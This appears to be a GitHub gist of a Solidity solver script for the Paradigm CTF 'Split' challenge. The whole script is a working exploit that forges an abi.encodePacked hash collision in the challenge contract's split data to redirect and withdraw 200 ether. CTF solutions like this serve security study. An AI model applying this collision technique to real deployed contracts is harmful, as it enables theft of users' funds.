Last active
January 19, 2024 16:33
-
-
Save eerkaijun/ebb46a808df059f0d418291bc9d76f3b to your computer and use it in GitHub Desktop.
Paradigm CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-ctf/CTFSolver.sol"; | |
import "../src/Split.sol"; | |
import "../src/Challenge.sol"; | |
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; | |
contract Solution is CTFSolver { | |
function solve(address challenge, address player) internal override { | |
address[] memory accounts = new address[](0); | |
uint32[] memory percents = new uint32[](4); | |
percents[0] = uint32(0xbEEF); | |
percents[1] = uint32(0); | |
percents[2] = 5e5; | |
percents[3] = 5e5; | |
uint32 relayerFee = 0; | |
console.logBytes32(keccak256(abi.encodePacked(accounts, percents, relayerFee))); | |
Split split = Split(payable(0x25d21192f488E69822D4F228B40A4490f6e17892)); | |
console.log("Breakpoint0"); | |
console.log("Balance of split address: ", address(split).balance); | |
Split.SplitData memory splitData = split.splitsById(0); | |
console.logBytes32(splitData.hash); | |
console.log("Balance of split wallet address: ", address(splitData.wallet).balance); | |
// 100 ether is now in Split | |
split.distribute(0, accounts, percents, 0, IERC20(address(0))); | |
console.log("Breakpoint1"); | |
console.log("Balance of split address: ", address(split).balance); | |
console.log("Balance of split wallet address: ", address(splitData.wallet).balance); | |
accounts = new address[](2); | |
accounts[0] = address(player); | |
accounts[1] = address(2_000_000); | |
percents = new uint32[](2); | |
percents[0] = 1e6; | |
percents[1] = 0; | |
uint256 id = split.createSplit(accounts, percents, 0); | |
Split.SplitData memory newSplitData = split.splitsById(id); | |
newSplitData.wallet.deposit{value: 100 ether}(); | |
accounts = new address[](1); | |
accounts[0] = address(player); | |
percents = new uint32[](3); | |
percents[0] = uint32(2_000_000); | |
percents[1] = 1e6; | |
percents[2] = 0; | |
split.distribute(1, accounts, percents, 0, IERC20(address(0))); | |
IERC20[] memory tokens = new IERC20[](1); | |
tokens[0] = IERC20(address(0)); | |
uint256[] memory amounts = new uint256[](1); | |
amounts[0] = 200 ether; | |
split.withdraw(tokens, amounts); | |
console.log("Challenge address: ", challenge); | |
Challenge challengeInstance = Challenge(challenge); | |
bool result = challengeInstance.isSolved(); | |
console.log("Result: ", result); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment